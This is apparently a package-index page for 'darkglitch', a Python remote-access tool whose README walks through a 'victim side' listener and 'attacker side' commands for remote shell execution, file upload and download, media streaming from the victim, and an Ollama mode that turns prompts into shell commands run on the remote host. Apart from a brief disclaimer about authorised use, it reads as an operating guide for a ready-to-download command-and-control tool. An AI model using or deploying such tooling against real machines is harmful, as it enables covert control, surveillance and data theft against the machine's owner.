Skip to main content

Remote command delivery and media streaming tool over WebRTC signaling

Project description

darkglitch

darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it supports

  • start a listener that registers a client and waits for commands
  • list online peers in the same signaling room
  • run shell commands remotely
  • upload and download files
  • stream media from a connected client
  • turn a natural-language prompt into a shell command with an AI provider

Requirements

  • Python 3.10+
  • dependencies from requirements.txt
  • an Ollama instance if you want to use the AI prompt mode

Installation

From the project root:

python3 -m venv .venv
source .venv/bin/activate
pip install -e .

If you want to use the AI prompt mode, install the Ollama Python client as well:

pip install ollama

Configuration

Edit core/config.py to point the client at your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Basic workflow

1. Start a listener (victim side)

python darkglitch.py -l -c

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Use an AI-generated bash prompt

python darkglitch.py -ai <client_id> "list all folders in root"

This uses an Ollama-backed provider to turn your prompt into a shell command before executing it remotely. If Ollama is unavailable or the model returns something unusable, the tool falls back to a simple built-in command.

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

6. Request a media stream

python darkglitch.py -s <client_id>

Help and version

python darkglitch.py -h
python darkglitch.py -v

AI setup

If you want to use the AI prompt mode, make sure Ollama is installed and running:

ollama serve
ollama pull llama3.2:3b

You can override the default model and timeout if needed:

export OLLAMA_MODEL=llama3.2:3b
export OLLAMA_TIMEOUT=60

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

darkglitch-1.1.9.tar.gz (31.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

darkglitch-1.1.9-py3-none-any.whl (34.5 kB view details)

Uploaded Python 3

File details

Details for the file darkglitch-1.1.9.tar.gz.

File metadata

  • Download URL: darkglitch-1.1.9.tar.gz
  • Upload date:
  • Size: 31.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.9.tar.gz
Algorithm Hash digest
SHA256 7b795fed3ec612645226a488c94472bb9aa165b0a0819c668680ecebaaab5971
MD5 4ded5ff5a025a109e77480807e1ae0dc
BLAKE2b-256 e0bd3d83054ca833332680ceb90b67246a4bac05368dc24d498869ed11983f18

See more details on using hashes here.

File details

Details for the file darkglitch-1.1.9-py3-none-any.whl.

File metadata

  • Download URL: darkglitch-1.1.9-py3-none-any.whl
  • Upload date:
  • Size: 34.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for darkglitch-1.1.9-py3-none-any.whl
Algorithm Hash digest
SHA256 248b4319cdca3821f04f7ee81b0a5a5bec7067122bc7e161c7fa11e881871cc8
MD5 58def85ea9cb63dd8ca5177db3f5865d
BLAKE2b-256 fd92f74fb257a1624966b4926cf9b2ab220e8d7f3a06f2a44255797425cfd386

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page